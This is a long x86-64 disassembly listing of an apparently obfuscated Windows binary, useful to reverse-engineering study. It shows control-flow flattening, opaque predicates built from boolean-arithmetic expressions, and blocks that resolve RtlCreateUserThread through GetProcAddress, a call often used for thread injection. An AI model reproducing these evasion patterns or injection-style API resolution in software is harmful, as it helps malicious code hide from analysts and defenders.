mov ebx, edi
and ebx, 0x77eb4313
mov ecx, edx
and ecx, 0x8814bcec
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0x8814bced
and ecx, 0x77eb4312
or ecx, ebx
and edx, 0x15f40963
mov ebx, edi
and ebx, 0xea0bf69c
or ebx, edx
xor ebx, 0x15f40962
and edi, 1
or edi, ebx
mov ebp, edi
not ebp
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x4ff06ae3
and ecx, 0xb00f951c
or ecx, ebx
or edx, edi
and edi, 0x4ff06ae3
and ebp, 0xb00f951c
or ebp, edi
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0x1d319b1f
and ecx, 0xe2ce64e0
or ecx, ebp
xor ecx, 0xe2ce64e0
or ecx, edx
cmp ecx, 0xffffffff
setne cl
sete r9b
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r11b
mov ebx, r11d
xor bl, r8b
and bl, r11b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov r10d, ebx
and r10b, al
xor al, bl
or al, r10b
mov ebx, r9d
xor bl, al
mov edx, ebx
and dl, r9b
and bl, al
mov eax, edx
and al, bl
xor bl, dl
or bl, al
or r11b, r9b
xor r11b, 1
xor cl, r8b
mov eax, r11d
and al, cl
xor cl, r11b
or cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xb7732933
mov ebp, 0xd818c5e0
cmovne ecx, ebp
test dl, 1
mov edx, 0xb7732933
cmovne ecx, edx
jmp 0x14015aecd
cmp ecx, 0xb361191
je 0x14015a4f5
cmp ecx, 0xbfd7a98
jne 0x14014d700
mov rax, qword [rsp + 0x38]
mov qword [0x14024b0b0], rax
mov ecx, 0x8f08624e
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x4db455a3
je 0x14015a65f
cmp ecx, 0x50568346
jne 0x14014d700
jmp 0x14014d68f
cmp ecx, 0x29252ccf
je 0x14015a675
cmp ecx, 0x2ab43ea3
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x81a3f2b5
mov edx, ecx
and edx, 0x7e5c0d4a
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xc9db3e11
and edx, 0x3624c1ee
or edx, ebx
mov ebx, edx
xor ebx, 0xb787335a
and ebp, 0x6388691d
and ecx, 0x9c7796e2
or ecx, ebp
mov ebp, ecx
xor ebp, 0x9c7796e2
xor edx, 0x4878cca5
and ebp, edx
xor ecx, 0x6388691d
and ecx, ebx
or ecx, ebp
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
not cl
and al, r8b
or al, dl
mov edx, eax
xor dl, 1
and al, bl
or bl, dl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test dl, dl
mov ecx, 0xbfd7a98
mov ebp, 0x8f08624e
cmovne ecx, ebp
test bl, bl
mov edx, 0xbfd7a98
cmovne ecx, edx
jmp 0x14015aecd
cmp ecx, 0x7679a3c0
je 0x14015a68b
cmp ecx, 0x76dfbe2f
jne 0x14014d700
mov ecx, 0xa3364386
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xe317c01d
je 0x14015a780
cmp ecx, 0xe6a72c63
jne 0x14014d700
mov ecx, 0x1483da40
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x90f5adbe
je 0x14015a88d
cmp ecx, 0x922c77cb
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov edx, edi
and edx, 0xc5fc2e58
and ecx, 0x3a03d1a7
or ecx, edx
mov ebx, ecx
xor ebx, 0x20008001
xor ecx, 0x81100250
mov ebp, edi
or ebp, 0xa1d99ad1
mov edx, ebp
not edx
or ecx, 0x18002524
and ecx, 0x991137f4
and ebx, 0x20c88801
or ebx, ecx
and ebp, 0x991137f4
and edx, 0x4626400a
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x5e26652f
and edx, 0xa1d99ad0
or edx, ecx
not edx
mov ecx, edx
and ecx, edi
xor edx, edi
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
or dl, bl
or bl, r8b
xor bl, 1
or bl, cl
or al, r8b
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
or al, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xc9677e57
mov ebp, 0x18dd27c8
cmovne ecx, ebp
test al, 1
cmovne ecx, ebp
not dl
test dl, 1
mov eax, 0xc9677e57
jmp 0x14015c0d8
cmp ecx, 0xd72c3e2c
je 0x14015a991
cmp ecx, 0xd818c5e0
jne 0x14014d700
mov rdi, qword [rsp + 0x38]
mov edx, dword [0x14024b6d8]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
mov ebp, ecx
xor ebp, 0x1103b1d1
and ebp, ecx
not ecx
and ecx, 0x10029100
and edx, 0x10120d1
or edx, ecx
xor edx, 0x10120d1
mov ecx, edx
and ecx, ebp
xor ebp, edx
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x33745581
and ebp, 0xcc8baa7e
or ebp, ecx
xor ebp, 0xdd881baf
setne cl
sete dl
cmp dword [0x14024b6d4], 0xa
setl al
mov ebx, eax
or bl, dl
xor bl, 1
xor dl, al
or bl, dl
or cl, al
and dl, al
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
xor dl, 1
mov eax, ebx
or al, dl
xor dl, bl
mov ecx, eax
xor cl, dl
test dl, 1
mov edx, 0xb7732933
mov ebp, 0xb2fa9afb
cmovne edx, ebp
test al, 1
mov eax, 0xb7732933
cmovne edx, eax
mov qword [0x14024b0b0], rdi
jmp 0x14015a767
cmp ecx, 0x10fa7dd
je 0x14015a9a7
cmp ecx, 0x19fe932
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x37216004
mov ebx, ecx
and ebx, 0xc8000242
or ebx, edx
xor ebx, 0xc8000242
mov edx, ecx
xor edx, 0xff216246
and edx, ecx
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xde9db8
and edx, 0xff216247
or edx, ebx
and ebp, 0x9c0d3e34
and ecx, 0x63f2c1cb
or ecx, ebp
mov ebp, ecx
xor ebp, 0x63f2c1cb
xor ecx, 0x9c0d3e34
and ecx, edx
not edx
and ebp, edx
or ecx, ebp
xor edx, ecx
test edx, ecx
setne r8b
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov r9d, ecx
xor cl, bl
and bl, dl
and r9b, r8b
or r9b, bl
or dl, r8b
xor dl, 1
or dl, cl
mov ecx, r9d
xor cl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov ebx, eax
and bl, cl
xor al, 1
and al, r9b
or al, bl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x8e769455
mov edx, 0xe317c01d
cmovne ecx, edx
test al, al
cmove ecx, edx
test bl, 1
mov eax, 0x8e769455
jmp 0x14015c0d8
cmp ecx, 0x47028254
je 0x14015a9bd
cmp ecx, 0x470e03d7
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x30c6823f
and edx, ecx
and ecx, 0xcf397dc0
or ecx, ebp
mov ebp, ecx
xor ebp, 0x82391800
xor ecx, 0x30c6823f
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5d46e5f1
and ebp, 0xa2b91a0e
or ebp, edi
or ecx, ebx
and ebx, 0x5d46e5f1
and edx, 0xa2b91a0e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov esi, ecx
xor esi, 1
and esi, ecx
mov edx, ecx
not edx
and edx, 0xc6a5b34
and ecx, 0xf395a4cb
or ecx, edx
mov ebx, ecx
xor ebx, 0xf3140488
mov ebp, esi
not ebp
xor ecx, 0xc6a5b35
mov edi, ebp
and edi, 0x4cbf173
and esi, 0xfb340e8c
or esi, edi
or ebp, ecx
and ecx, 0x4cbf173
and ebx, 0xfb340e8c
or ebx, ecx
xor ebx, esi
not ebp
or ebp, ebx
mov ecx, ebp
mov edx, ebp
xor edx, 0xf339a8b4
and edx, ebp
not ebp
and ebp, 0xa2280834
and ecx, 0x5111a080
or ecx, ebp
xor ecx, 0x5111a080
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x568ec275
and edx, 0xa9713d8a
or edx, ecx
mov ecx, edx
xor ecx, 0x10001010
xor edx, 0xa5b76ac1
mov ebp, edx
and ebp, 0xee6fc5ef
and ecx, 0x11903a10
or ecx, ebp
xor ecx, 0x11903a10
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 9
setg r11b
cmp eax, 0xa
setl r9b
mov esi, ebx
mov ecx, ebx
xor cl, r11b
or r11b, bl
or bl, r9b
xor bl, 1
xor sil, r9b
not sil
and sil, r9b
mov r10d, ebx
and r10b, sil
xor sil, bl
or sil, r10b
xor r8b, r9b
xor r11b, 1
or r11b, r8b
mov edx, r11d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r11b
xor cl, 1
or cl, dl
mov ebx, esi
xor bl, 1
mov edx, ebx
and dl, sil
mov eax, ecx
mov r8d, ebx
xor r8b, dl
xor dl, 1
or dl, sil
mov r9d, ecx
mov r10d, ebx
and r10b, cl
xor bl, cl
xor cl, 1
and al, cl
xor dl, 1
or dl, r8b
xor r9b, al
xor al, 1
or al, cl
xor al, 1
or al, r9b
xor al, dl
or bl, r10b
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0xd8394be3
mov ebp, 0x458e9be7
cmovne edx, ebp
test al, 1
mov r14d, 0x458e9be7
cmove edx, ebp
test cl, 1
mov eax, 0xd8394be3
jmp 0x1401585a4
cmp ecx, 0x217297ce
je 0x14015aa95
cmp ecx, 0x21925c3b
jne 0x14014d700
mov rcx, qword [rsp + 0x30]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xfa2411ff
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x6f365c92
je 0x14015aabd
cmp ecx, 0x6f400093
jne 0x14014d700
mov ecx, 0x9524cc95
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0xaf43625d
je 0x14015aad3
cmp ecx, 0xb02d6acc
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0x6336f505
and ecx, ebp
not ebp
and ebp, 0x61161000
and edx, 0x220e505
or edx, ebp
xor edx, 0x220e505
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x9cc90afa
and ecx, 0x6336f505
or ecx, edx
mov ebx, ecx
mov edx, ecx
xor edx, 0x102d74ee
and edx, ecx
not ecx
and ecx, 0xc1776900
and ebx, 0x3e8896ff
or ebx, ecx
mov ecx, ebx
xor ecx, 0x3e8896ff
xor ebx, 0xc0432000
mov ebp, ecx
and ebp, 0x102d74ee
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xa5796429
and edx, 0x5a869bd6
or edx, ebp
xor edx, 0x4aabef39
and ebx, 0xeacb22ad
mov ebp, ecx
and ebp, 0x1534dd52
or ebp, ebx
xor ebp, 0xeacb22ac
and ecx, 1
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xba9d6119
and edx, ecx
and ecx, 0x45629ee6
or ecx, ebp
xor ecx, 0x45629ee6
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ecx
xor al, r9b
mov edx, eax
and dl, cl
and al, r9b
mov r10d, edx
xor r10b, 1
xor dl, al
xor al, 1
or al, r10b
xor al, 1
or al, dl
and r9b, r8b
and cl, bl
or cl, r9b
mov edx, ebx
and dl, r8b
xor bl, r8b
or bl, dl
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
and bl, al
xor al, 1
xor dl, 1
and dl, al
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x249232e4
mov ebp, 0x217297ce
cmovne ecx, ebp
test al, 1
mov eax, 0x249232e4
cmovne eax, ecx
test dl, 1
jmp 0x14014d6f9
cmp ecx, 0xf41cb00b
je 0x14015aae9
cmp ecx, 0xf53d33a1
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov esi, dword [0x14024b6d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x5b42e9e2
mov ecx, ebp
and ecx, 0xa4bd161c
or ecx, edx
xor ecx, 0xa4bd161c
mov edx, ebp
xor edx, 0xfffffffe
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xa948e8aa
and edx, 0x56b71755
or edx, ecx
mov ecx, edx
xor ecx, 0x12851755
and ebx, 0x1d546935
and ebp, 0xe2ab96ca
or ebp, ebx
mov ebx, ebp
xor ebx, 0xa2811642
xor edx, 0xa948e8aa
xor ebp, 0x1d546935
mov edi, edx
and edi, 0x453ae8a8
and ecx, 0xbac51757
or ecx, edi
or edx, ebp
and ebp, 0x453ae8a8
and ebx, 0xbac51757
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete r9b
setne al
cmp esi, 0xa
setl cl
cmp esi, 9
setg r8b
mov ebx, eax
xor bl, r9b
and bl, al
mov eax, ebx
not al
and al, bl
mov edx, eax
and dl, bl
xor al, bl
or al, dl
mov edx, ecx
or dl, al
xor al, 1
or al, r8b
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, ecx
and dl, r9b
xor cl, r9b
or dl, cl
mov ebx, edx
xor bl, cl
xor cl, 1
xor bl, 1
or cl, dl
xor cl, 1
or cl, bl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x6b8eeaf5
mov ebp, 0x6a6a83a0
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x6b8eeaf5
jmp 0x14015c0d8
cmp ecx, 0xa02112a0
je 0x14015aaff
cmp ecx, 0xa042a7eb
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ebp
or edx, 0xc19655
mov edi, edx
not edi
mov esi, ecx
or esi, 0xff3e69aa
mov ebx, esi
not ebx
and edx, 0x99221501
and edi, 0x661c68aa
or edi, edx
and esi, 0x99221501
and ebx, 0xc18254
or ebx, esi
xor ebx, edi
mov edx, ebx
not edx
and edx, 0xc19654
and ebx, 0xff3e69ab
or ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x39eb6043
and ebx, 0xc6149fbc
or ebx, edx
and ebp, 0x39eb6043
and ecx, 0xc6149fbc
or ecx, ebp
xor ecx, ebx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, edx
and cl, al
and bl, r8b
or bl, cl
mov ecx, ebx
xor cl, al
and cl, bl
xor dl, al
mov eax, edx
xor al, 1
mov ebx, ecx
xor bl, 1
and cl, bl
and dl, al
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
xor dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x4a734d0c
mov ecx, 0x14a08ebd
cmovne eax, ecx
test bl, 1
mov ecx, 0x4a734d0c
jmp 0x14015529f
cmp ecx, 0xc1202c2c
je 0x14015ac4b
cmp ecx, 0xc174c2d5
jne 0x14014d700
mov eax, dword [0x14024b6d8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xd1be78d3
and ecx, 0x2e41872c
or ecx, eax
mov edx, ecx
xor edx, 0x4418304
xor ecx, 0x80304050
and ecx, 0xaa304478
and edx, 0x55cfbb87
or edx, ecx
mov eax, edx
xor eax, 0xaa304478
xor edx, 0x45c71281
and edx, 0x6df75699
mov ecx, eax
and ecx, 0x9208a966
or ecx, edx
mov edx, ecx
xor edx, 0x9208a966
mov ebp, ecx
xor ebp, 0x558e1f9c
and ebp, edx
and eax, 0xc786b6fa
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0x91ac27b4
and eax, 0x6e53d84b
or eax, ebp
mov ebp, eax
xor ebp, 0x222014d
and edx, 1
xor ecx, 0x9208a967
or ecx, edx
mov edx, ecx
not edx
xor eax, 0xa9d56eb0
mov ebx, eax
and ebx, 0xf408b402
and ebp, 0xbf74bfd
or ebp, ebx
or eax, ecx
and ecx, 0xf408b402
and edx, 0xbf74bfd
or edx, ecx
xor edx, ebp
not eax
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0xde624ad9
and edx, eax
not eax
and eax, 0x40d893ec
and ecx, 0xbf276c13
or ecx, eax
mov eax, ecx
xor eax, 0x86204000
xor ecx, 0x404002c8
or ecx, 0x219db526
mov ebp, edx
not ebp
mov ebx, ecx
and ebx, 0x58cf3d5d
and eax, 0x86204280
or eax, ebx
or ecx, ebp
and ebp, 0x58cf3d5d
and edx, 0xa730c2a2
or edx, ebp
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xb922ac29
and ecx, 0x46dd53d6
or ecx, eax
mov eax, ecx
xor eax, 0x10090003
xor ecx, 0x44402020
and ecx, 0xccf6392c
and eax, 0x3309c6d3
or eax, ecx
xor eax, 0x3309c6d3
cmp eax, 0xffffffff
sete al
setne cl
cmp dword [0x14024b6d4], 0xa
setl dl
xor cl, dl
xor cl, 1
mov ebx, edx
or bl, al
xor bl, 1
or bl, cl
xor dl, al
xor dl, 1
mov eax, ebx
or al, dl
xor dl, bl
mov ecx, eax
xor cl, dl
mov ebp, 0x958c5b45
mov ecx, 0xeaa6933f
cmovne ebp, ecx
test dl, dl
mov ecx, ebp
mov edx, 0x958c5b45
cmovne ecx, edx
jmp 0x140157b12
cmp ecx, 0x1144f26a
je 0x14015ada7
cmp ecx, 0x12fc48fd
jne 0x14014d700
mov ecx, 0x47028254
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x5838cc3e
je 0x14015adbd
cmp ecx, 0x5ad5f6a8
jne 0x14014d700
mov rcx, qword [rsp + 0x30]
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0xcd6479b0
and ecx, 0x329b864f
or ecx, edx
mov ebx, ecx
xor ebx, 0x329b864f
mov edx, ecx
xor edx, 0xcd6479b0
xor ecx, 0x329b864e
and ecx, ebx
and edx, 0xfffffffe
and ebx, 1
or ebx, edx
mov edx, ecx
not edx
mov ebp, ebx
not ebp
mov edi, edx
and edi, 0xfe233af
and ecx, 0xf01dcc50
or ecx, edi
or edx, ebp
and ebp, 0xfe233af
and ebx, 0xf01dcc50
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0xbd71308d
and edx, 0x428ecf72
or edx, ecx
mov ecx, edx
xor ecx, 0x400c0030
xor edx, 0x921200d
and edx, 0xba3ef4f
and ecx, 0xf45c10b0
or ecx, edx
mov edx, ecx
xor edx, 0x2004d03
xor ecx, 0xf45c10b0
mov ebp, ecx
and ebp, 0x7deba27c
and edx, 0x82145d83
or edx, ebp
xor edx, 0x7deba27c
xor ecx, edx
test ecx, edx
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
xor dl, al
and dl, al
and bl, r8b
or bl, cl
mov eax, edx
and al, bl
xor dl, bl
or dl, al
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
xor al, dl
xor dl, 1
mov r8d, ecx
and r8b, bl
xor cl, bl
or cl, r8b
xor cl, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x4ba250c9
mov ebp, 0xb69f466a
cmovne edx, ebp
test cl, 1
cmove edx, ebp
not al
test al, 1
mov eax, 0x4ba250c9
jmp 0x140158e9c
cmp ecx, 0x3996409e
je 0x14015add3
cmp ecx, 0x3a42af79
jne 0x14014d700
mov ecx, 0xebb9061b
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
cmp ecx, 0x7d731e56
je 0x14015aee3
cmp ecx, 0x7e07e000
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xd6f4763b
and ebp, ecx
or ecx, 0x290b89c4
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x99dc4f20
and edx, 0x4620301b
or edx, edi
or ecx, ebx
and ebx, 0x99dc4f20
and ebp, 0x6623b0df
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xed3e1e60
and ecx, 0x12c1e19f
or ecx, edx
mov edx, ecx
xor edx, 0xc43597a4
mov ebp, ecx
xor ebp, 0xbc20843
and ebp, 0x4bd79d43
xor ecx, 0xa1b800c8
and ecx, edx
and edx, 0xb42862bc
or edx, ebp
mov edi, edx
xor edi, 0xb42862bc
mov ebx, edx
xor ebx, 0x2e5a0a2f
and ebx, edi
mov ebp, ebx
not ebp
mov esi, ecx
not esi
mov eax, ebp
and eax, 0x3874ab0a
and ebx, 0xc78b54f5
or ebx, eax
or ebp, esi
and esi, 0x3874ab0a
and ecx, 0xc78b54f5
or ecx, esi
xor ecx, ebx
not ebp
or ebp, ecx
mov eax, ebp
not eax
and eax, 0x9a726892
and ebp, 0x658d976d
or ebp, eax
xor edx, 0x3969d42
and edx, 0x7b69de2
mov eax, edi
and eax, 0xf849621d
or eax, edx
xor eax, 0x7b69de3
and edi, 1
or edi, eax
mov eax, edi
not eax
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x34cc4889
and ebp, 0xcb33b776
or ebp, edx
or ecx, edi
and edi, 0x34cc4889
and eax, 0xcb33b776
or eax, edi
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x3de1bac
and ecx, 0xfc21e453
or ecx, eax
mov eax, ecx
xor eax, 0x28002440
xor ecx, 0x2560808
and eax, 0x298837e4
and ecx, 0xd677c81b
or ecx, eax
xor ecx, 0x298837e4
cmp ecx, 0xffffffff
setne r9b
sete r10b
cmp r8d, 0xa
setl r11b
cmp r8d, 9
setg al
mov ecx, r10d
xor cl, r9b
and cl, r10b
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov r8d, ecx
xor r8b, dl
or cl, dl
xor cl, 1
or cl, r8b
xor cl, al
mov edx, ecx
xor dl, 1
and r9b, r11b
or r11b, r10b
xor r11b, 1
and al, r10b
or al, r9b
mov ebx, r11d
and bl, al
xor al, r11b
or al, bl
mov r8d, eax
xor r8b, 1
and dl, cl
mov ebx, r8d
and bl, al
xor dl, 1
mov r9d, edx
xor r9b, cl
or dl, cl
xor dl, 1
or dl, r9b
mov r9d, ebx
and r9b, r8b
xor bl, r8b
or bl, r9b
mov r8d, edx
xor r8b, 1
and r8b, bl
xor bl, 1
and bl, dl
or bl, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0x922c77cb
mov ecx, 0x18dd27c8
cmovne edx, ecx
test al, 1
mov ecx, 0x922c77cb
jmp 0x140158b5c
cmp ecx, 0xde71e7e8
je 0x14015b0a5
cmp ecx, 0xdeec1771
jne 0x14014d700
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe37e9626
and edx, ecx
and ecx, 0x1c8169d9
or ecx, ebp
mov ebp, ecx
xor ebp, 0x8004941
xor ecx, 0xe37e9626
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x3785229a
and ebp, 0xc87add65
or ebp, edi
or ecx, ebx
and ebx, 0x3785229a
and edx, 0xc87add65
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov ebx, ecx
mov edx, ecx
xor edx, 0xd073e039
and edx, ecx
not ecx
and ecx, 0xc2603904
and ebx, 0x3d9fc6fb
or ebx, ecx
mov ecx, ebx
xor ecx, 0x3d9fc6fb
xor ebx, 0xc2203004
mov ebp, ecx
and ebp, 0xd073e039
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xb8be8c4
and edx, 0xf474173b
or edx, ebp
xor edx, 0x2407f703
and ebx, 0xdb24349f
mov ebp, ecx
and ebp, 0x24dbcb60
or ebp, ebx
xor ebp, 0xdb24349e
and ecx, 1
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x88144080
mov ebp, ecx
and ebp, 0x10410073
or ebp, edx
xor ebp, 0x10410073
and ecx, 0x67aabf0c
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x67aabf0c
and ecx, 0x985540f3
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb9563aae
and ecx, 0x46a9c551
or ecx, edx
xor ecx, 0x46a9c551
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg r11b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, ebx
xor al, 1
mov ecx, ebx
and cl, al
mov edx, ecx
xor dl, 1
xor cl, bl
or dl, al
xor dl, 1
or dl, cl
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, r10d
and cl, al
not al
and al, r11b
or al, cl
or r10b, r8b
xor r11b, r9b
mov ecx, r10d
xor cl, r11b
xor r11b, 1
xor cl, 1
or r11b, r10b
xor r11b, 1
or r11b, cl
mov ecx, r11d
xor cl, 1
mov edx, eax
not dl
and dl, al
mov ebx, r11d
and bl, cl
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
mov r8d, r11d
and r8b, bl
xor bl, r11b
or bl, r8b
xor bl, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, bl
test al, 1
mov eax, 0x6dcb6838
cmovne eax, r15d
test cl, 1
mov ecx, 0x6dcb6838
jmp 0x14015bb91
cmp ecx, 0x8c0e2104
je 0x14015b0bb
cmp ecx, 0x8e769455
jne 0x14014d700
mov ecx, dword [0x14024b6d8]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x18426efa
mov ecx, ebp
and ecx, 0xe7bd9104
or ecx, edx
mov edx, ecx
xor edx, 0x23a10000
xor ecx, 0x18426efb
mov eax, ebp
xor eax, 0xfffffffe
and eax, ebp
mov edi, eax
not edi
mov esi, ecx
and esi, 0xcc1cd947
and edx, 0x33e326b8
or edx, esi
or ecx, edi
and edi, 0xcc1cd947
and eax, 0x33e326b8
or eax, edi
xor eax, edx
not ecx
or ecx, eax
and ebx, 0x4febd563
and ebp, 0xb0142a9c
or ebp, ebx
mov eax, ebp
xor eax, 0x140090
mov edx, ecx
not edx
